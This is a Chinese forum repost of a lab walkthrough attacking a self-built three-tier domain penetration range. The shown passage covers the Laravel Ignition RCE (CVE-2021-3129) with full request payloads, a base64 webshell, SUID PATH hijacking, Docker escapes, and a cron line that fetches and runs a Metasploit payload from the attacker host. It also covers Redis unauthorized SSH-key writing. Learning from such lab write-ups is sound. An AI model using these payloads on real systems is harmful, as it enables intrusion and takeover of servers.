搜索

[16612] 2021-03-29_自主搭建的三层网络域渗透靶场打靶记录

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-03-29_自主搭建的三层网络域渗透靶场打靶记录 自 主 搭 建 的 三 层 网 络 域 渗 透 靶 场 打 靶 记 录 W H O A M I   F r e e B u f   2 0 2 1 - 0 3 - 2 9 前 言 前 言 假 期 马 上 结 束 了 ， 闲 暇 之 时 我 自 己 尝 试 着 搭 建 了 一 个 内 网 渗 透 的 靶 场 内 网 渗 透 的 靶 场 。 靶 场 是 根 据 比 较 新 的 漏 洞 进 行 搭 建 的 ， 质 量 自 以 为 还 可 以 。 目 前 此 靶 场 已 在 v u l n s t a c k 开 源 ， 下 载 链 接 （ 点 击 阅 读 原 文 ） ， 文 中 若 有 不 当 之 处 还 请 各 位 大 佬 多 多 点 评 。 整 个 靶 场 的 网 络 环 境 分 为 三 层 。 从 最 初 的 信 息 收 集 、 外 网 初 探 、 攻 入 内 网 、 搭 建 代 理 ， 横 向 移 动 ， 最 终 拿 下 域 控 。 整 个 靶 场 的 网 络 环 境 分 为 三 层 。 从 最 初 的 信 息 收 集 、 外 网 初 探 、 攻 入 内 网 、 搭 建 代 理 ， 横 向 移 动 ， 最 终 拿 下 域 控 。 整 个 靶 场 所 涉 及 的 技 术 点 大 致 如 下 ： 信 息 收 集 ： 信 息 收 集 ： 端 口 扫 描 端 口 服 务 识 别 漏 洞 利 用 ： 漏 洞 利 用 ： 漏 洞 搜 索 与 利 用 L a r a v e l   D e b u g   m o d e   R C E （ C V E - 2 0 2 1 - 3 1 2 9 ） 漏 洞 利 用 D o c k e r 逃 逸 通 达 O A   v 1 1 . 3   漏 洞 利 用 L i n u x 环 境 变 量 提 权 R e d i s   未 授 权 访 问 漏 洞 L i n u x   s u d o 权 限 提 升 （ C V E - 2 0 2 1 - 3 1 5 6 ） 漏 洞 利 用 S S H 密 钥 利 用 W i n d o w s   N e t L o g o n   域 内 权 限 提 升 （ C V E - 2 0 2 0 - 1 4 7 2 ） 漏 洞 利 用 M S 1 4 - 0 6 8 漏 洞 利 用 构 建 隧 道 ： 构 建 隧 道 ： 路 由 转 发 与 代 理 二 层 网 络 代 理 三 层 网 络 代 理 横 向 移 动 ： 横 向 移 动 ： 内 网 （ 域 内 ） 信 息 收 集 M S 1 7 - 0 1 0 W i n d o w s 系 统 N T L M 与 用 户 凭 据 获 取 S M B   R e l a y 攻 击 P s e x e c 远 控 利 用 哈 希 传 递 攻 击 （ P T H ） W M I 利 用 D C O M 利 用 权 限 维 持 ： 权 限 维 持 ： 黄 金 票 据 白 银 票 据 S i d   H i s t o r y 靶 场 环 境 配 置 靶 场 环 境 配 置 （ （ 1 ） 网 络 配 置 ） 网 络 配 置 整 个 靶 场 环 境 一 共 五 个 靶 机 （ 总 共 2 7 . 8   G B ） ， 分 别 位 于 三 层 网 络 环 境 中 ：
D M Z 区 I P 段 为 1 9 2 . 1 6 8 . 1 . 1 / 2 4 第 二 层 网 络 环 境 I P 段 为 1 9 2 . 1 6 8 . 5 2 . 1 / 2 4 第 三 层 网 络 环 境 I P 段 为 1 9 2 . 1 6 8 . 9 3 . 1 / 2 4 需 要 在 V m w a r e 中 新 增 两 个 虚 拟 网 卡 V M n e t 8 、 V M n e t 1 4 。 V M n e t 8 设 为 默 认 的 N A T 模 式 ， I P 段 设 为 1 9 2 . 1 6 8 . 5 2 . 0 / 2 4 ； V M n e t 1 4 设 为 仅 主 机 模 式 ， I P 段 设 为 1 9 2 . 1 6 8 . 9 3 . 0 / 2 4 ： 将 V M n e t 8 作 为 第 二 层 网 络 的 网 卡 ， V M n e t 1 4 作 为 第 三 层 网 络 的 网 卡 。 这 样 ， 第 二 层 网 络 中 的 所 有 主 机 皆 可 以 上 网 ， 但 是 位 于 第 三 层 网 络 中 的 所 有 主 机 都 不 与 外 网 相 连 通 ， 不 能 上 网 。 D M Z 区 域 ： 区 域 ： 给 U b u n t u   ( W e b   1 )   配 置 了 两 个 网 卡 ， 一 个 桥 接 可 以 对 外 提 供 服 务 ； 一 个 连 接 在 V M n e t 8 上 连 通 第 二 层 网 络 。 第 二 层 网 络 区 域 ： 第 二 层 网 络 区 域 ： 给 U b u n t u   ( W e b   2 )   和 W i n d o w s   7   ( P C   1 ) 都 配 置 了 两 个 网 卡 ， 一 个 连 接 在 V M n e t 8 上 连 通 第 二 层 网 络 ， 一 个 连 接 在 V M n e t 1 4 上 连 通 第 三 层 网 络 。 第 三 次 网 络 区 域 ： 第 三 次 网 络 区 域 ： 给 W i n d o w s   S e r v e r   2 0 1 2 和 W i n d o w s   7   ( P C   2 ) 都 只 配 置 了 一 个 网 卡 ， 一 个 连 接 在 V M n e t 1 4 上 连 通 第 三 层 网 络 。 （ （ 2 ） 服 务 配 置 ） 服 务 配 置 靶 场 中 各 个 主 机 都 运 行 着 相 应 的 服 务 并 且 没 有 自 启 功 能 ， 如 果 你 关 闭 了 靶 机 ， 再 次 启 动 时 还 需 要 在 相 应 的 主 机 上 启 动 靶 机 服 务 ： D M Z 区 的 区 的   U b u n t u   需 要 启 动 需 要 启 动 N g i n x 和 和 R e d i s 服 务 ： 服 务 ： r e d i s - s e r v e r   / e t c / r e d i s . c o n f / u s r / s b i n / n g i n x   - c   / e t c / n g i n x / n g i n x . c o n f i p t a b l e s   - F 第 二 层 网 络 的 第 二 层 网 络 的   U b u n t u 需 要 启 动 需 要 启 动 D o c k e r 容 器 ： 容 器 ： s u d o   s e r v i c e   d o c k e r   s t a r t s u d o   d o c k e r   s t a r t   8 e 1 7 2 8 2 0 a c 7 8 第 三 层 网 络 的 第 三 层 网 络 的   W i n d o w s   7 （ （ P C   1 ） 需 要 启 动 通 达 ） 需 要 启 动 通 达 O A ： ： C : M Y O A b i n A u t o C o n f i g . e x e 五 台 靶 机 及 其 上 面 的 服 务 需 要 全 部 启 动 ， 缺 一 不 可 。 不 会 很 卡 的 放 心 吧 ， 我 这 破 电 脑 都 没 事 。 外 网 渗 透 外 网 渗 透 假 设 渗 透 的 目 标 客 户 只 给 出 了 一 个 域 名 ： w w w . w h o p e n . c o m ， 下 面 我 们 要 在 黑 盒 的 情 况 下 对 目 标 网 络 进 行 渗 透 ， 最 终 需 要 拿 下 域 控 制 器 权 限 。 直 接 访 问 该 域 名 ， 发 现 是 一 个 博 客 的 站 点 ：
随 便 翻 翻 除 了 文 章 写 得 还 不 错 以 外 没 有 发 现 什 么 ， e m m m m … … 信 息 收 集 信 息 收 集 首 先 得 到 目 标 网 站 的 I P 为 1 9 2 . 1 6 8 . 1 . 8 ， 然 后 直 接 对 目 标 I P 进 行 端 口 扫 描 ： 如 上 图 ， 目 标 除 了 8 0 端 口 外 还 开 启 了 2 2 、 8 1 和 6 3 7 9 端 口 。 查 看 8 1 端 口 ： 发 现 是 个 L a r a v e l 的 站 点 ， L a r a v e l 是 一 套 简 洁 、 开 源 的 P H P   W e b 开 发 框 架 ， 旨 在 实 现 W e b 软 件 的 M V C 架 构 。 而 在 2 0 2 1 年 0 1 月 1 2 日 ， L a r a v e l 被 披 露 存 在 一 个 远 程 代 码 执 行 漏 洞 （ C V E - 2 0 2 1 - 3 1 2 9 ） 。 当 L a r a v e l 开 启 了 D e b u g 模 式 时 ， 由 于 L a r a v e l 自 带 的 I g n i t i o n   组 件 对 f i l e _ g e t _ c o n t e n t s ( ) 和 f i l e _ p u t _ c o n t e n t s ( ) 函 数 的 不 安 全 使 用 ， 攻 击 者 可 以 通 过 发 起 恶 意 请 求 ， 构 造 恶 意 L o g 文 件 等 方 式 触 发 P h a r 反 序 列 化 ， 最 终 造 成 远 程 代 码 执 行 。 目 标 站 点 的 L a r a v e l 版 本 正 好 在 今 年 刚 爆 出 来 的 L a r a v e l   D e b u g   m o d e   R C E 漏 洞 （ C V E - 2 0 2 1 - 3 1 2 9 ） 的 范 围 内 ， 该 漏 洞 的 体 用 可 以 看 我 的 这 一 篇 文 章 ： 《 L a r a v e l   D e b u g   m o d e   R C E （ C V E - 2 0 2 1 - 3 1 2 9 ） 漏 洞 复 现 》 ， 下 面 我 们 尝 试 进 行 初 步 的 攻 击 。 L a r a v e l   D e b u g   m o d e   R C E 漏 洞 利 用 漏 洞 利 用 （ 1 ） 首 先 使 用   p h p g g c 工 具 生 成 一 条 l a r a v e l 中 存 在 的 反 序 列 化 利 用 P O C （ 经 过 编 码 后 的 ） ： 得 到 的 P O C （ 编 码 后 的 ） 最 后 面 再 加 一 个 a ， 否 则 最 终 l a r a v e l . l o g 里 面 将 生 成 两 个 P O C ， 导 致 利 用 失 败 ： n m a p   - T 4   - s C   - s V   1 9 2 . 1 6 8 . 1 . 8 p h p   - d   " p h a r . r e a d o n l y = 0 "   . / p h p g g c   L a r a v e l / R C E 5   " p h p i n f o ( ) ; "   - - p h a r   p h a r   - o   p h p : / / o u t p u t   |   b a s e 6 4   - w   0   |   p y t h o n   - c   " i m p o r t   s y s ; p r i n t ( ' ' . j o i n ( [ ' = '   +   h e x ( o r d ( i ) ) [ 2 : ]   +   ' = 0 0 '   f o r   i   i n   s y s . s t d i n . r e a d ( ) ] ) . u p p e r ( ) ) "
（ 2 ） 发 送 如 下 数 据 包 ， 将 L a r a v e l 的 原 日 志 文 件 l a r a v e l . l o g 清 空 ： （ 3 ） 发 送 如 下 数 据 包 ， 给 L o g 增 加 一 次 前 缀 ， 用 于 对 齐 ： （ 4 ） 将 之 前 生 成 的 编 码 后 的 P O C 作 为 v i e w F i l e 的 值 ， 发 送 数 据 包 ： （ 5 ） 发 送 如 下 数 据 包 ， 清 空 对 l o g 文 件 中 的 干 扰 字 符 ， 只 留 下 P O C ： 这 一 步 可 能 会 出 现 异 常 ， 导 致 无 法 正 确 清 理 L o g 文 件 。 如 果 出 现 这 种 状 况 ， 可 以 重 新 从 第 一 步 开 始 尝 试 。 （ 6 ） 使 用 进 行 反 序 列 化 ， 执 行 任 意 代 码 （ 此 时 需 要 使 用 绝 对 路 径 ） ： P O S T   / _ i g n i t i o n / e x e c u t e - s o l u t i o n   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 8 : 8 1 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   3 2 8 {     " s o l u t i o n " :   " F a c a d e I g n i t i o n S o l u t i o n s M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n " ,     " p a r a m e t e r s " :   {         " v a r i a b l e N a m e " :   " u s e r n a m e " ,         " v i e w F i l e " :   " p h p : / / f i l t e r / w r i t e = c o n v e r t . i c o n v . u t f - 8 . u t f - 1 6 b e | c o n v e r t . q u o t e d - p r i n t a b l e - e n c o d e | c o n v e r t . i c o n v . u t f - 1 6 b e . u t f - 8 | c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = . . / s t o r a g e / l o g s / l a r a v e l . l o g "     } } P O S T   / _ i g n i t i o n / e x e c u t e - s o l u t i o n   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 8 : 8 1 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   1 6 3 {     " s o l u t i o n " :   " F a c a d e I g n i t i o n S o l u t i o n s M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n " ,     " p a r a m e t e r s " :   {         " v a r i a b l e N a m e " :   " u s e r n a m e " ,         " v i e w F i l e " :   " A A "     } } P O S T   / _ i g n i t i o n / e x e c u t e - s o l u t i o n   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 8 : 8 1 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   5 0 5 8 {     " s o l u t i o n " :   " F a c a d e I g n i t i o n S o l u t i o n s M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n " ,     " p a r a m e t e r s " :   {         " v a r i a b l e N a m e " :   " u s e r n a m e " ,         " v i e w F i l e " :   " = 5 0 = 0 0 = 4 4 = 0 0 = 3 9 = 0 0 = 7 7 = 0 0 = 6 1 = 0 0 = 4 8 = 0 0 = 4 1 = 0 0 = 6 7 = 0 0 = 5 8 = 0 0 = 3 1 = 0 0 = 3 9 = 0 0 = 4 9 = 0 0 = 5 1 = 0 0 = 5 5 = 0 0 = 7 8 = 0 0 = 5 5 = 0 0 = 5 8 = 0 0 = 3 0 = 0 0 = 4 E = 0 0 = 5 0 = 0 0 = 5 4 = 0 0 = 5 6 = 0 0 = 4 2 = 0 0 = 4 A = 0 0 = 5 4 = 0 0 = 4 5 = 0 0 = . . . . . . 2 B = 0 0 = 5 7 = 0 0 = 6 1 = 0 0 = 6 3 = 0 0 = 4 E = 0 0 = 6 7 = 0 0 = 4 9 = 0 0 = 4 1 = 0 0 = 4 1 = 0 0 = 4 1 = 0 0 = 4 2 = 0 0 = 4 8 = 0 0 = 5 1 = 0 0 = 6 B = 0 0 = 3 1 = 0 0 = 4 3 = 0 0 a "     } } P O S T   / _ i g n i t i o n / e x e c u t e - s o l u t i o n   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 8 : 8 1 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   2 9 9 {     " s o l u t i o n " :   " F a c a d e I g n i t i o n S o l u t i o n s M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n " ,     " p a r a m e t e r s " :   {         " v a r i a b l e N a m e " :   " u s e r n a m e " ,         " v i e w F i l e " :   " p h p : / / f i l t e r / w r i t e = c o n v e r t . q u o t e d - p r i n t a b l e - d e c o d e | c o n v e r t . i c o n v . u t f - 1 6 l e . u t f - 8 | c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = . . / s t o r a g e / l o g s / l a r a v e l . l o g "     } } p h a r : / / P O S T   / _ i g n i t i o n / e x e c u t e - s o l u t i o n   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 8 : 8 1 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   2 1 0
如 下 图 所 示 ， P H P I N F O 已 成 功 执 行 ， 漏 洞 利 用 成 功 ： 我 们 可 以 利 用 该 漏 洞 写 入 W e b s h e l l ： 重 复 上 述 利 用 步 骤 后 ， 成 功 写 入 w e b s h e l l 并 连 接 成 功 ： 我 们 在 使 用 蚁 剑 执 行 命 令 时 发 现 目 标 主 机 的 主 机 名 有 点 显 眼 ， 可 能 我 们 那 下 的 s h e l l 处 于 一 个 容 器 环 境 ： 使 用 如 下 命 令 进 行 测 试 ， 我 们 发 现 我 们 获 得 的 s h e l l 确 实 运 行 在 一 个 d o c k e r 容 器 内 ： 这 样 好 吗 ， 这 样 不 好 ！ 下 面 我 们 需 要 d o c k e r 逃 逸 来 获 取 目 标 主 机 （ d o c k e r 宿 主 机 ） 的 权 限 。 但 此 时 我 们 所 获 得 的 是 w w w - d a t a 用 户 的 权 限 ， 权 限 比 较 低 ， 干 不 成 什 么 大 事 ， 所 以 要 想 办 法 提 升 一 下 权 限 。 官 方 文 档 中 提 到 了 L i n u x 环 境 变 量 提 权 ， 我 们 直 接 使 用 f i n d 命 令 来 搜 索 具 有 S U I D 或 4 0 0 0 权 限 的 文 件 ： 通 过 执 行 上 述 命 令 ， 攻 击 者 可 以 遍 历 任 何 可 执 行 文 件 ， 在 这 里 我 们 可 以 看 到 / h o m e / j o b s 目 录 下 有 一 个 s h e l l 文 件 ， 这 名 字 很 显 眼 ， 并 且 其 具 有 S U I D 权 限 ： {     " s o l u t i o n " :   " F a c a d e I g n i t i o n S o l u t i o n s M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n " ,     " p a r a m e t e r s " :   {         " v a r i a b l e N a m e " :   " u s e r n a m e " ,         " v i e w F i l e " :   " p h a r : / / / v a r / w w w / s t o r a g e / l o g s / l a r a v e l . l o g / t e s t . t x t "     } } p h p   - d   " p h a r . r e a d o n l y = 0 "   . / p h p g g c   L a r a v e l / R C E 5   " s y s t e m ( ' e c h o   P D 9 w a H A g Z X Z h b C g k X 1 B P U 1 R b d 2 h v Y W 1 p X S k 7 P z 4 = | b a s e 6 4   - d   >   / v a r / w w w / h t m l / s h e l l . p h p ' ) ; "   - - p h a r   p h a r   - o   p h p : / / o u t p u t   |   b a s e 6 4   - w   c a t   / p r o c / s e l f / c g r o u p f i n d   /   - p e r m   - u = s   - t y p e   f   2 > / d e v / n u l l
于 是 我 们 c d 到 / h o m e / j o b s 目 录 下 ， l s 一 下 ， 确 实 看 到 了 名 为 s h e l l 的 可 执 行 文 件 。 我 们 运 行 一 下 这 个 文 件 ： 可 以 看 到 s h e l l 文 件 执 行 了 p s 命 令 ， 并 且 未 使 用 绝 对 路 径 ， 所 以 我 们 可 以 尝 试 更 改 $ P A T H 来 执 行 我 们 的 恶 意 程 序 ， 从 而 获 得 目 标 主 机 的 高 权 限 s h e l l 。 首 先 使 用 蚁 剑 反 弹 一 个 s h e l l 过 来 ， 然 后 在 s h e l l 中 执 行 如 下 命 令 ： 如 上 图 所 示 ， 成 功 提 升 为 r o o t 权 限 。 之 后 为 了 方 便 ， 我 们 可 以 使 用 m s f 生 成 一 个 木 马 ， 然 后 上 传 到 目 标 主 机 上 执 行 ， 来 获 得 一 个 m e t a s p l o i t 的 m e t e r p r e t e r ， 具 体 步 骤 略 。 利 用 利 用 D o c k e r   r u n C 漏 洞 逃 逸 漏 洞 逃 逸 该 漏 洞 （ C V E - 2 0 1 9 - 5 7 3 6 ） 是 2 0 1 9 年 爆 出 的 。 在 D o c k e r   1 8 . 0 9 . 2 之 前 的 版 本 中 使 用 的 r u n c 版 本 小 于 1 . 0 - r c 6 ， 其 允 许 攻 击 者 重 写 宿 主 机 上 的 r u n c   二 进 制 文 件 ， 攻 击 者 可 以 在 宿 主 机 上 以 r o o t 身 份 执 行 命 令 。 利 用 该 漏 洞 需 要 满 足 以 下 两 个 条 件 之 一 ： 由 一 个 攻 击 者 控 制 的 恶 意 镜 像 创 建 攻 击 者 具 有 某 已 存 在 容 器 的 写 权 限 ， 且 可 通 过 d o c k e r   e x e c 进 入 。 首 先 下 载 攻 击 脚 本 ： h t t p s : / / g i t h u b . c o m / F r i c h e t t e n / C V E - 2 0 1 9 - 5 7 3 6 - P o C 打 开 m a i n . g o 脚 本 ， 将 脚 本 中 要 在 目 标 机 上 执 行 的 命 令 修 改 为 反 弹 s h e l l 的 命 令 ， I P 为 攻 击 机 I P ， 端 口 为 攻 击 机 监 听 的 端 口 ： 执 行 命 令 编 译 生 成 p a y l o a d c d   / t m p e c h o   " / b i n / b a s h "   >   p s c h m o d   7 7 7   p s e c h o   $ P A T H   e x p o r t   P A T H = / t m p : $ P A T H   #   将 / t m p 添 加 到 环 境 变 量 中 ， 并 且 先 加 载 执 行 / t m p 里 的 程 序 c d   / h o m e / j o b s . / s h e l l #   然 后 就 获 得 了 r o o t 权 限 ， 可 以 执 行 命 令 了
将 生 成 的 利 用 程 序 m a i n 上 传 到 目 标 主 机 并 赋 予 权 限 ： 接 着 在 攻 击 机 k a l i 上 面 启 动 n c 监 听 ： 接 着 在 目 标 d o c k e r 上 面 运 行 m a i n 文 件 ： 此 时 ， 只 需 等 待 目 标 机 管 理 员 重 启 该 d o c k e r 容 器 ， p a y l o a d 就 会 触 发 。 但 是 由 于 某 些 原 因 ， 我 们 手 动 重 启 d o c k e r 后 并 未 收 到 目 标 主 机 的 s h e l l 。 所 以 我 们 只 能 用 另 一 种 方 法 来 逃 逸 。 D o c k e r   特 权 模 式 逃 逸 特 权 模 式 逃 逸 特 权 模 式 于 版 本 0 . 6 时 被 引 入 D o c k e r ， 允 许 容 器 内 的 r o o t 拥 有 外 部 物 理 机 r o o t 权 限 ， 而 此 前 容 器 内 r o o t 用 户 仅 拥 有 外 部 物 理 机 普 通 用 户 权 限 。 使 用 特 权 模 式 启 动 容 器 ， 可 以 获 取 大 量 设 备 文 件 访 问 权 限 。 因 为 当 管 理 员 执 行 d o c k e r   r u n   — p r i v i l e g e d 时 ， D o c k e r 容 器 将 被 允 许 访 问 主 机 上 的 所 有 设 备 ， 并 可 以 执 行 m o u n t 命 令 进 行 挂 载 。 当 控 制 使 用 特 权 模 式 启 动 的 容 器 时 ， d o c k e r 管 理 员 可 通 过 m o u n t 命 令 将 外 部 宿 主 机 磁 盘 设 备 挂 载 进 容 器 内 部 ， 获 取 对 整 个 宿 主 机 的 文 件 读 写 权 限 ， 此 外 还 可 以 通 过 写 入 计 划 任 务 等 方 式 在 宿 主 机 执 行 命 令 。 首 先 我 们 现 在 d o c k e r 中 新 建 一 个 / h a c k 目 录 用 来 挂 在 文 件 ： 然 后 看 到 / d e v 目 录 会 发 现 很 多 设 备 文 件 ， 我 们 可 以 尝 试 将   / d e v / s d a 1   挂 载 到 / h a c k 目 录 里 ： C G O _ E N A B L E D = 0   G O O S = l i n u x   G O A R C H = a m d 6 4   g o   b u i l d   m a i n . g o n c   - l v p   2 3 3 3 m k d i r   / h a c k l s   / d e v m o u n t   / d e v / s d a 1   / h a c k
如 上 图 所 示 挂 载 成 功 了 ， 此 时 我 们 就 可 以 通 过 访 问 容 器 内 部 的 / h a c k 路 径 来 达 到 访 问 整 个 宿 主 机 的 目 的 在 在 d o c k e r 容 器 里 挂 载 一 个 宿 主 的 本 地 目 录 ， 这 样 某 些 容 器 里 输 出 的 文 件 ， 就 可 以 在 本 地 目 录 中 打 开 访 问 了 。 容 器 里 挂 载 一 个 宿 主 的 本 地 目 录 ， 这 样 某 些 容 器 里 输 出 的 文 件 ， 就 可 以 在 本 地 目 录 中 打 开 访 问 了 。 我 们 可 以 通 过 写 入 计 划 任 务 的 方 式 在 宿 主 机 执 行 m e t a s p l o i t 生 成 的 命 令 。 首 先 使 用 m e t a s p l o i t 的 w e b _ d e l i v e r y 模 块 生 成 p a y l o a d 命 令 ： 如 上 图 ， 只 要 将 生 成 的 命 令 再 目 标 主 机 上 执 行 ， 便 可 以 得 到 目 标 主 机 的 m e t e r p r e t e r 。 我 们 将 该 命 令 写 入 宿 主 机 的 计 划 任 务 中 ： 如 下 图 ， 宿 主 机 上 线 m e t e r p r e t e r ： 信 息 收 集 可 得 其 系 统 版 本 为 U b u n t u   1 4 . 0 4 。 可 怪 事 来 了 ， 我 们 查 看 了 目 标 宿 主 机 的 网 络 配 置 后 ， 仅 发 现 了 两 个 内 网 的 网 段 “ 1 9 2 . 1 6 8 . 5 2 . 1 / 2 4 ” 和 “ 1 9 2 . 1 6 8 . 9 3 . 1 / 2 4 ” ： u s e   e x p l o i t / m u l t i / s c r i p t / w e b _ d e l i v e r y s e t   t a r g e t   6         #   选 择 目 标 系 统 s e t   p a y l o a d   l i n u x / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 7 s e t   l p o r t   4 4 4 4 e x p l o i t e c h o   ' *   *   *   *   *   w g e t   - q O   K d w G E m V m   - - n o - c h e c k - c e r t i f i c a t e   h t t p : / / 1 9 2 . 1 6 8 . 1 . 7 : 8 0 8 0 / k v M O w n c G b ;   c h m o d   + x   K d w G E m V m ;   . / K d w G E m V m &   d i s o w n '   > >   / h a c k / v a r / s p o o l / c r o n / c r o n t a b s / r o o t
那 我 们 访 问 的 1 9 2 . 1 6 8 . 1 . 8 去 哪 了 ？ 难 道 目 标 网 站 做 了 反 向 代 理 ？ 先 别 慌 ， 6 3 7 9 端 口 不 是 还 有 一 个 r e d i s 吗 ， 试 试 存 不 存 在 未 授 权 访 问 吧 。 直 接 在 攻 击 机 上 连 接 1 9 2 . 1 6 8 . 1 . 8 : 6 3 7 9 上 的 r e d i s ， 竟 然 成 功 了 ， 毕 竟 是 靶 机 ， 就 是 简 单 ： 有 了 r e d i s 未 授 权 ， 那 么 利 用 就 简 单 了 ， 我 们 直 接 往 目 标 主 机 上 写 入 S S H 公 钥 。 先 在 攻 击 机 上 生 成 s s h 公 钥 ： 然 后 将 公 钥 导 入 k e y . t x t 文 件 ( 前 后 用 n 换 行 ， 避 免 和 R e d i s 里 其 他 缓 存 数 据 混 合 ) ， 再 把 k e y . t x t 文 件 内 容 写 入 目 标 主 机 的 r e d i s 缓 冲 里 ： 然 后 使 用 攻 击 机 连 接 目 标 机 器 R e d i s ， 分 别 执 行 如 下 命 令 将 s s h 公 钥 写 入 目 标 主 机 ： s s h - k e y g e n   - t   r s a ( e c h o   - e   " n n " ;   c a t   / r o o t / . s s h / i d _ r s a . p u b ;   e c h o   - e   " n n " )   >   k e y . t x t c a t   k e y . t x t   |   r e d i s - c l i   - h   1 9 2 . 1 6 8 . 1 . 8   - x   s e t   x x x / /   - x   代 表 从 标 准 输 入 读 取 数 据 作 为 该 命 令 的 最 后 一 个 参 数 。 c o n f i g   s e t   d i r   / r o o t / . s s h         #   设 置 r e d i s 的 备 份 路 径 为 / r o o t / . s s h / c o n f i g   s e t   d b f i l e n a m e   a u t h o r i z e d _ k e y s         #   设 置 保 存 文 件 名 为 a u t h o r i z e d _ k e y s s a v e         #   将 数 据 保 存 在 目 标 服 务 器 硬 盘 上
写 入 成 功 后 直 接 尝 试 连 接 ： 成 功 连 接 目 标 主 机 。 此 时 查 看 目 标 机 网 络 信 息 ， 却 发 现 目 标 主 机 的 网 络 连 接 信 息 全 变 了 ， 并 且 发 现 了 我 们 刚 开 始 访 问 的 “ 1 9 2 . 1 6 8 . 1 . 8 ” ， 还 有 另 一 个 内 网 I P 段 “ 1 9 2 . 1 6 8 . 5 2 . 1 / 2 4 ” ： 系 统 发 行 版 本 也 变 为 了 U b u n t u   1 8 . 0 4 . 5 ： 看 来 目 标 网 站 应 该 是 做 了 反 向 代 理 了 ， 也 就 是 说 此 时 拿 下 的 U b u n t u   1 8 主 机 仅 仅 提 供 一 个 代 理 服 务 ， 真 正 的 W e b 服 务 器 是 之 前 我 们 拿 下 的 那 台 宿 主 机 U b u n t u   1 4 主 机 。 为 了 证 实 我 们 的 猜 想 ， 我 查 看 了 U b u n t u   1 8 上 的 n g i n x 配 置 文 件 ： 如 上 图 我 们 发 现 了 n g i n x 反 向 代 理 的 标 志 — — “ p r o x y _ p a s s ” ， 可 知 U b u n t u   1 8 服 务 器 上 的 n g i n x 把 8 0 端 口 上 收 到 的 请 求 转 发 给 了   h t t p s : / / w h o a m i a n o n y . t o p ， 将 8 1 端 口 上 收 到 的 请 求 转 发 给 了 内 网 第 二 层 网 络 的 W e b 服 务 器 1 9 2 . 1 6 8 . 5 2 . 2 0 ， 也 就 是 我 们 之 前 G e t s h e l l 的 宿 主 机 U b u n t u   1 4 。 好 了 ， 到 目 前 为 止 我 们 已 经 拿 下 了 两 台 主 机 ： D M Z 区 域 的 U b u n t u   1 8 ： 1 9 2 . 1 6 8 . 1 . 8 第 二 层 网 络 的 U b u n t u   1 4 ： 1 9 2 . 1 6 8 . 5 2 . 2 0 此 时 ， 绘 制 出 网 络 拓 扑 图 如 下 ： s s h   1 9 2 . 1 6 8 . 1 . 8
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理